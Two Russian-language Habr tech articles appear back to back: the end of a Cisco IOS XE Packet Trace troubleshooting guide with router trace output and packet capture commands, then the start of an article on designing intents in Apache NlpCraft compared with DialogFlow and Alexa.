Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6d9d4 - IPV4_INPUT_FNF_FIRST
Lapsed time : 134400 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e8c - IPV4_INPUT_VFR
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b660 - IPV4_INPUT_CENT_SMP_PROCESS
Lapsed time : 3840 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000080
input vrf_idx : 0
calling feature : CENT
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 186
cft_bucket_number : 407373
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 172.28.0.1
tuple.src_port : 6603
tuple.dst_port : 443
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 186
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b62c - IPV4_INPUT_CENT_RC_PROCESS
Lapsed time : 45440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7ff70 - IPV4_INPUT_PBR
Lapsed time : 14080 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d858d0 - IPV4_INPUT_TCP_ADJUST_MSS
Lapsed time : 1280 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0 <=================
Output : Tunnel1 <=================
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS <=================
Lapsed time : 5920 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d6dc88 - IPV4_INPUT_FNF_AOR_FINAL
Lapsed time : 1600 ns
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d6d974 - IPV4_INPUT_FNF_FINAL
Lapsed time : 245440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d6dc8c - IPV4_INPUT_FNF_AOR_RELEASE
Lapsed time : 1760 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x81131e94 - IPV4_INPUT_IPOPTIONS_PROCESS
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x8113ac44 - IPV4_INPUT_GOTO_OUTPUT_FEATURE
Lapsed time : 4160 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x81131e98 - IPV4_OUTPUT_VFR
Lapsed time : 3040 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d858a0 - IPV4_OUTPUT_TCP_ADJUST_MSS
Lapsed time : 1280 ns
Feature: ZBFW <=================
Action : Fwd <=================
Zone-pair name : N/A <=================
Class-map name : N/A <=================
Input interface : GigabitEthernet0/0/0 <=================
Egress interface: Tunnel1 <=================
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d70b28 - IPV4_OUTPUT_INSPECT
Lapsed time : 30080 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d77188 - MC_OUTPUT_GEN_RECYCLE
Lapsed time : 2560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d85d30 - IPV4_OUTPUT_THREAT_DEFENSE
Lapsed time : 1600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x81131e9c - IPV4_VFR_REFRAG
Lapsed time : 800 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x81128eb0 - IPV4_OUTPUT_L2_REWRITE
Lapsed time : 7360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x81131ec4 - IPV4_OUTPUT_FRAG
Lapsed time : 640 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d6e1b8 - IPV4_TUNNEL_OUTPUT_FNF_AOR
Lapsed time : 3520 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d6d8e4 - IPV4_TUNNEL_OUTPUT_FNF_FINAL
Lapsed time : 1440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x80d6e640 - IPV4_TUNNEL_OUTPUT_FNF_AOR_RELEASE
Lapsed time : 800 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d86ce8 - IPV4_TUNNEL_OUTPUT_FINAL
Lapsed time : 20640 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d86d30 - IPV4_OUTPUT_TUNNEL_PROTECTION_ENCRYPT <=================
Lapsed time : 7200 ns
Feature: IPSec <=================
Result : IPSEC_RESULT_SA <=================
Action : ENCRYPT <=================
SA Handle : 98 <=================
Peer Addr : 188.188.188.188 <=================
Local Addr: 87.87.87.87 <=================
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d761ac - IPV4_OUTPUT_IPSEC_CLASSIFY_EXT
Lapsed time : 44480 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d7641c - IPV4_OUTPUT_IPSEC_DOUBLE_ACL_EXT
Lapsed time : 11200 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d763ec - IPV4_IPSEC_FEATURE_RETURN_EXT
Lapsed time : 4960 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x8113ac50 - IPV4_OUTPUT_IPSEC_INLINE_FRAG_CHK_EXT
Lapsed time : 7680 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d7635c - IPV4_OUTPUT_IPSEC_TUNNEL_RERUN_JUMP_EXT
Lapsed time : 4480 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d764ac - IPV4_OUTPUT_IPSEC_POST_PROCESS_EXT
Lapsed time : 12160 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d763ec - IPV4_IPSEC_FEATURE_RETURN_EXT
Lapsed time : 1600 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d763ec - IPV4_IPSEC_FEATURE_RETURN_EXT
Lapsed time : 1440 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d86cec - IPV4_TUNNEL_GOTO_OUTPUT
Lapsed time : 11680 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d86d98 - IPV4_TUNNEL_FW_CHECK_EXT
Lapsed time : 15040 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x81131e60 - IPV4_INPUT_DST_LOOKUP_ISSUE_EXT
Lapsed time : 8480 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x81131eb8 - IPV4_INPUT_ARL_EXT
Lapsed time : 5760 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x81131e6c - IPV4_INTERNAL_DST_LOOKUP_CONSUME_EXT
Lapsed time : 2880 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : Tunnel1
Entry : 0x80d86dc8 - IPV4_TUNNEL_ENCAP_FOR_US_EXT
Lapsed time : 5600 ns
Feature: FIA_TRACE
Input : Tunnel1 <=================
Output : GigabitEthernet0/0/1.5 <=================
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS_EXT <=================
Lapsed time : 4000 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x81131f20 - IPV4_TUNNEL_ENCAP_GOTO_OUTPUT_FEATURE_EXT
Lapsed time : 11520 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e98 - IPV4_OUTPUT_VFR
Lapsed time : 1440 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x80d70b28 - IPV4_OUTPUT_INSPECT
Lapsed time : 5120 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x80d77188 - MC_OUTPUT_GEN_RECYCLE
Lapsed time : 2240 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x80d7c390 - IPV4_NAT_OUTPUT_FIA
Lapsed time : 6400 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x80d85d30 - IPV4_OUTPUT_THREAT_DEFENSE
Lapsed time : 1440 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e9c - IPV4_VFR_REFRAG
Lapsed time : 800 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Output
triplet.vrf_idx : 0
triplet.network_start : 0x01004104
triplet.triplet_flags : 0x00000000
triplet.counter : 186
cft_bucket_number : 407373
cft_l3_payload_size : 100
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 87.87.87.87
tuple.dst_ip : 188.188.188.188
tuple.src_port : 6603
tuple.dst_port : 443
tuple.vrfid : 0
tuple.l4_protocol : 50
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 186
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ipsec
Classification ID: [CANA-L7:9]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x80d8359c - IPV4_OUTPUT_STILE_CLR_TXT
Lapsed time : 138080 ns
Feature: IPSec <=================
Result : IPSEC_RESULT_DENY <=================
Action : SEND_CLEAR <=================
SA Handle : 0
Peer Addr : 188.188.188.188 <=================
Local Addr: 87.87.87.87 <=================
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x80d761ac - IPV4_OUTPUT_IPSEC_CLASSIFY
Lapsed time : 27840 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e70 - IPV4_OUTPUT_SRC_LOOKUP_ISSUE
Lapsed time : 2880 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x81128eb0 - IPV4_OUTPUT_L2_REWRITE
Lapsed time : 7520 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e74 - IPV4_OUTPUT_SRC_LOOKUP_CONSUME
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x81131ec4 - IPV4_OUTPUT_FRAG
Lapsed time : 16800 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x8111ea94 - L2_REWRITE_AFTER_FRAG_WITHOUT_CLIP_EXT
Lapsed time : 11520 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x81133e50 - IPV4_OUTPUT_DROP_POLICY
Lapsed time : 12000 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6d914 - IPV4_OUTPUT_FNF_FINAL
Lapsed time : 108320 ns
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x8113bb40 - MARMOT_SPA_D_TRANSMIT_PKT
Lapsed time : 49120 ns
```
Трейсы изменились, так как маршрутизация пакета усложнилась. Сначала он передаётся на туннельный интерфейс:
```
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : Tunnel1
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS
Lapsed time : 5920 ns
```
Далее срабатывают правила межсетевого экрана. Так как у нас входящий и туннельный интерфейсы находятся в одной зоне, проверки трафика не происходит (мы не попадаем ни в один из zone-pair):
```
Feature: ZBFW
Action : Fwd
Zone-pair name : N/A
Class-map name : N/A
Input interface : GigabitEthernet0/0/0
Egress interface: Tunnel1
```
После того как пакет попал в туннельный интерфейс, его необходимо зашифровать.
```
IPV4_OUTPUT_TUNNEL_PROTECTION_ENCRYPT
Feature: IPSec
Result : IPSEC_RESULT_SA
Action : ENCRYPT
SA Handle : 98
Peer Addr : 188.188.188.188
Local Addr: 87.87.87.87
```
Ещё раз происходит маршрутизация пакета, уже зашифрованного.
```
Feature: FIA_TRACE
Input : Tunnel1
Output : GigabitEthernet0/0/1.5
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS_EXT
Lapsed time : 4000 ns
```
Пакет проходит через внешний интерфейс, где настроен IPSec (висит crypto-map). Хоть пакет уже зашифрован, система проверяет не попадает ли он в IPSec на исходящем интерфейсе.
```
Feature: IPSec
Result : IPSEC_RESULT_DENY
Action : SEND_CLEAR
SA Handle : 0
Peer Addr : 188.188.188.188
Local Addr: 87.87.87.87
```
**Ситуация №6. Пакет передаётся на несуществующий next-hop (или отказавший)**
```
cbs-4000#show platform packet-trace summary
Pkt Input Output State Reason
0 Gi0/0/0 internal0/0/rp:0 PUNT 10 (Incomplete adjacency)
```
Статус PUNT означает, что пакет не может быть обработан CEF'ом и передаётся на обработку процессором (process switching). Причина – маршрутизатор не обнаружил нужной записи в таблице adjacency для передачи пакета на соседний next-hop (Incomplete adjacency). Что логично, так как его нет.
**Трассировка обработки пакета**
```
cbs-4000#show platform packet-trace packet 0
Packet: 0 CBUG ID: 55
Summary
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
State : PUNT 10 (Incomplete adjacency)
Timestamp
Start : 6668916530895154 ns (02/20/2017 12:14:46.985396 UTC)
Stop : 6668916530979351 ns (02/20/2017 12:14:46.985480 UTC)
Path Trace
Feature: IPV4
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Source : 192.168.20.8
Destination : 8.8.8.8
Protocol : 1 (ICMP)
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x8112bfbc - DEBUG_COND_INPUT_PKT
Lapsed time : 9760 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e84 - IPV4_INPUT_SRC_LOOKUP_ISSUE
Lapsed time : 5920 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e64 - IPV4_INPUT_DST_LOOKUP_CONSUME
Lapsed time : 3200 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4a140 - IPV4_INPUT_ACL
Lapsed time : 15040 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e88 - IPV4_INPUT_SRC_LOOKUP_CONSUME
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e68 - IPV4_INPUT_FOR_US_MARTIAN
Lapsed time : 1440 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 74
cft_bucket_number : 769995
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 443
tuple.dst_port : 55391
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 74
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d83558 - IPV4_INPUT_STILE_LEGACY
Lapsed time : 252800 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7b508 - IPV4_INGRESS_MMA_LOOKUP
Lapsed time : 48960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d59618 - IPV4_INPUT_FME_PROCESS
Lapsed time : 4000 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000084
input vrf_idx : 0
calling feature : FNF
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 74
cft_bucket_number : 769995
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 443
tuple.dst_port : 55391
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 74
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6dc84 - IPV4_INPUT_FNF_AOR_FIRST
Lapsed time : 20640 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6d9d4 - IPV4_INPUT_FNF_FIRST
Lapsed time : 127520 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e8c - IPV4_INPUT_VFR
Lapsed time : 1280 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b660 - IPV4_INPUT_CENT_SMP_PROCESS
Lapsed time : 2560 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000080
input vrf_idx : 0
calling feature : CENT
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 74
cft_bucket_number : 769995
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.7
tuple.src_port : 443
tuple.dst_port : 55391
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 74
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b62c - IPV4_INPUT_CENT_RC_PROCESS
Lapsed time : 39360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7ff70 - IPV4_INPUT_PBR
Lapsed time : 43680 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d858d0 - IPV4_INPUT_TCP_ADJUST_MSS
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0 <=================
Output : GigabitEthernet0/0/1 <=================
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS <=================
Lapsed time : 135360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0 <=================
Output : internal0/0/rp:0 <=================
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS_EXT <=================
Lapsed time : 30240 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x80d6dc88 - IPV4_INPUT_FNF_AOR_FINAL_EXT
Lapsed time : 8640 ns
Feature: OCE_TRACE
Type : OCE_ADJ_PUNT
Feature: OCE_TRACE
Type : OCE_ADJ_PUNT
Feature: OCE_TRACE
Type : OCE_ADJ_PUNT
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x80d6d974 - IPV4_INPUT_FNF_FINAL_EXT
Lapsed time : 277600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x80d6dc8c - IPV4_INPUT_FNF_AOR_RELEASE_EXT
Lapsed time : 6720 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x81131e94 - IPV4_INPUT_IPOPTIONS_PROCESS_EXT
Lapsed time : 2560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x8113ac44 - IPV4_INPUT_GOTO_OUTPUT_FEATURE_EXT
Lapsed time : 11200 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x81131ef4 - IPV4_INTERNAL_ARL_SANITY_EXT
Lapsed time : 10560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x80d70b28 - IPV4_OUTPUT_INSPECT_EXT
Lapsed time : 12160 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x80d85d30 - IPV4_OUTPUT_THREAT_DEFENSE_EXT
Lapsed time : 1600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x81131e9c - IPV4_VFR_REFRAG_EXT
Lapsed time : 2240 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x81133e50 - IPV4_OUTPUT_DROP_POLICY_EXT
Lapsed time : 24320 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0 <=================
Output : internal0/0/rp:0 <=================
Entry : 0x8112ce90 - INTERNAL_TRANSMIT_PKT_EXT <=================
Lapsed time : 137440 ns
```
Для пакета определён исходящий интерфейс:
```
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS
Lapsed time : 135360 ns
```
Но так как в CEF нет нужных записей, он отправляется на обработку процессором (internal0/0/rp:0):
```
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS_EXT
Lapsed time : 30240 ns
```
Запись, свидетельствующая о факте передаче пакета процессору (INTERNAL\_TRANSMIT):
```
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : internal0/0/rp:0
Entry : 0x8112ce90 - INTERNAL_TRANSMIT_PKT_EXT
Lapsed time : 137440 ns
```
Packet Trace предоставляет нам данные по обработке пакета в QFP. Это значит, что как только пакет попал в распоряжение ЦПУ, наши трейсы больше не помогут. В этом случае можно попробовать использовать debug ip packet. Но с этим отладчиком нужно быть очень аккуратными.
**Заключение**
Приведенные примеры наглядно демонстрируют, что IOS XE Packet Trace во многих ситуациях позволит нам достаточно оперативно понять, где засахарилось. Дальше, владея такой информацией, можно уже более детально разбираться с проблемой, жонглируя различными вариациями команд show и debug.
При диагностике не стоит забывать ещё об одном средстве – захвате пакетов (packet capture). На IOS XE этот функционал сделали более удобным по сравнению с обычным IOS.
**Packet capture**Активация захвата пакетов:
```
monitor capture CAP access-list 199
monitor capture CAP interface GigabitEthernet0/0/0 in
monitor capture CAP start
```
Выключение, выгрузка дампа на внешний ПК, деактивация:
```
monitor capture CAP stop
monitor capture CAP export tftp://10.0.0.1/CAP.pcap
no monitor capture CAP
``` | https://habr.com/ru/post/323080/ | null | ru | null |
# Проектируем интенты с Apache NlpCraft
В данной заметке я продолжу знакомить читателей с возможностями проекта Apache [NlpCraft](https://nlpcraft.apache.org). Первая [заметка](https://habr.com/ru/post/526950/) была посвящена краткому описанию ключевых особенностей системы, [следующая](https://habr.com/ru/post/530878/) — обзору стандартных [NER](https://www.wikiwand.com/en/Named-entity_recognition) компонентов. Данная статья посвящена вопросу проектирования интентов при построении диалоговых систем.
Напомню, что такое интент. Интент — это сочетание функции и правила, по которому эта функция должна быть вызвана. Правило — это чаще всего шаблон, основанный на наборе ожидаемых [именованных сущностей](https://www.wikiwand.com/en/Named_entity) в тексте запроса. В большинстве существующих диалоговых систем данный шаблон — это просто список элементов.
Выше приведено окно отладки интента в [Google DialogFlow](https://cloud.google.com/dialogflow/docs). Отлаживаемая модель — система управления будильником. В основе модели две сущности и один интент.
Сущности:
* Признак действия. “Пользовательская” сущность, определяемая для данной конкретной модели. Мы определили ее через синонимы: wake, buzz и т.д.
* Период времени — in 3 mins, in 2 mins and 30 seconds и т.д. Здесь может быть использован как пользовательский элемент, так и какой-нибудь из стандартных. В данном случае **sys.duration**.
Правило задано очень простое — если в тексте запроса обнаружены обе эти сущности, функция интента должна быть вызвана.
Ниже экран определения этого же интента в [Amazon Alexa](https://developer.amazon.com/en-US/docs/alexa/alexa-voice-service/api-overview.html).
Как мы видим, помимо собственно списка требуемых элементов, каждый элемент в списке может быть дополнен некоторыми параметрами, например признаком, обязателен ли элемент для срабатывания интента, “prompts”, то есть вопросами, с помощью которых система должна уточнить у пользователя значение отсутствующего элемента и т.д.
Таким образом при работе с [Amazon Alexa](https://developer.amazon.com/en-US/docs/alexa/alexa-voice-service/api-overview.html) и [Google DialogFlow](https://cloud.google.com/dialogflow/docs), интент определяется с помощью списка параметров, а также минимального набора свойств параметров.
*Детальный пример построения данной модели в Apache NlpCraft доступен по [ссылке](https://nlpcraft.apache.org/examples/alarm_clock.html).*
Как мы видим система конфигурирования интентов для данных систем совершенно проста и понятна, и это, разумеется, хорошо. Однако для более сложных моделей такой подход может оказаться недостаточно гибким. Не требуется ничего усложнять, если все что вам нужно — это осуществить заказ пиццы через внешний API, пример, отчего-то встречающийся в половине обзоров. Но если в вашей системе много интентов, или внутри функции интента присутствует сложная логика по выбору API или параметра — подобная простота может стать серьезным ограничением (Тут стоит отметить, что гибкости интентам добавляет поддержка flow, но об этом позже).
### Теперь подробнее о проблемах
На самом деле при работе Google DialogFlow с данным примером все будет не так просто. Стандартный NER компонент **sys.duration** не покроет всех возможных вариантов задания временного периода. Так, например, в запросе “Ping me in 3 minutes” для определения периода “3 minutes” придется задействовать компонент **sys.date-time**, а в запросе “Set my alarm for 30s” — **sys.date-period**. То есть сущность “период“ для тестовых вопросов должна быть определена через стандартные **sys.period**, **sys.date-period** или **sys.date-time**. (Оставим в стороне вопрос почему так происходит или как избежать именно этой конкретной ситуации). Таким образом интент придется усложнить, он должен будет содержать помимо “признака действия”, один из трех необязательных элементов, определяющих “период”. Причем в итоге хотя бы один из этих трех опциональных NER компонентов для определения периода все же должен сработать.
Решить эту проблему конечно же можно просто наплодив побольше интентов (скоро вы в них запутаетесь) или создав собственный элемент “user:duration”, который учтет все ваши пожелания (если пойдете по этому пути — вам могут помочь “составные сущности“, подробнее — [здесь](https://nlpcraft.apache.org/data-model.html#dsl))
Но в общем случае, для решения проблем подобного рода, Apache NlpCraft предлагает гибкую систему построения интентов. Суть ее в том, что с помощью элементов конфигурации вы можете определить дополнительные условия срабатывания интента, и отбросить те случаи, когда запрос содержит все необходимые сущности, но все же не удовлетворяет каким-то вашим особым требованиям.
### Что можно сконфигурировать
* Учет требуемого порядка элементов. То есть вы можете определить интент, который сработает для “ping me in 2 secs”, но не сработает для “in 2 secs ping me”.
* Задание ожидаемого предыдущего flow прямо в интенте (многие системы позволяют определять flow, но не прямо в определении интента).
Пример паттерна **flow='i1[1, 3]\* >> (i2|i3)+'** означает, что для успешного срабатывания конфигурируемого интента, запросу должны предшествовать один, два или три запроса, соответствующих интенту “**i1**“, а перед ними — один или более запросов, соответствующих интентам “**i2**“ или “**i3**“.
* Требуемое количество элементов одного типа в интенте. Определяется с помощью конкретного значения, диапазона или шаблона.
* Элементы интента могут быть помечены как доступные или недоступные из контекста беседы.
Пример — пусть погодный интент ожидает две сущности: ”**city**” и ”**date**”.
+ На первый вопрос в беседе “дай мне погоду на завтра в Москве“ — мы можем ответить по найденным в тексте запроса элементам “**city**“ — Москва и “**date**” — завтра.
+ Но на второй вопрос — “а на послезавтра?”, мы можем ответить только если возьмем значение “**city**” из контекста беседы.
